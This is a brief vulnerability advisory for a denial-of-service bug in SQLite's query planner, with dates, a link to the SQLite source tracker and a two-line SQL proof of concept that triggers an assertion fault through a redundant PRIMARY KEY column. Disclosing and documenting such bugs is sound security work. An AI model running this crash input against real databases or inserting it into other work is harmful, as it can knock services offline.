[CVE-2018-20506] Denial of Service in SQLite3

Reported on : 1 Nov 2018 Shipped on : 13 Dec 2018 Type : DoS In Function : to be confirmed Assertion fault due to malformed PRIMARY KEY DoS in query planner that results when a row-value expression is used with a PRIMARY KEY with redundant column. PoC

https://sqlite.org/src/info/1a84668dcfdebaf12415d

CREATE TABLE t1(a,b,PRIMARY KEY(b,b));
SELECT * FROM t1 WHERE (a,b) IN (VALUES(1,2));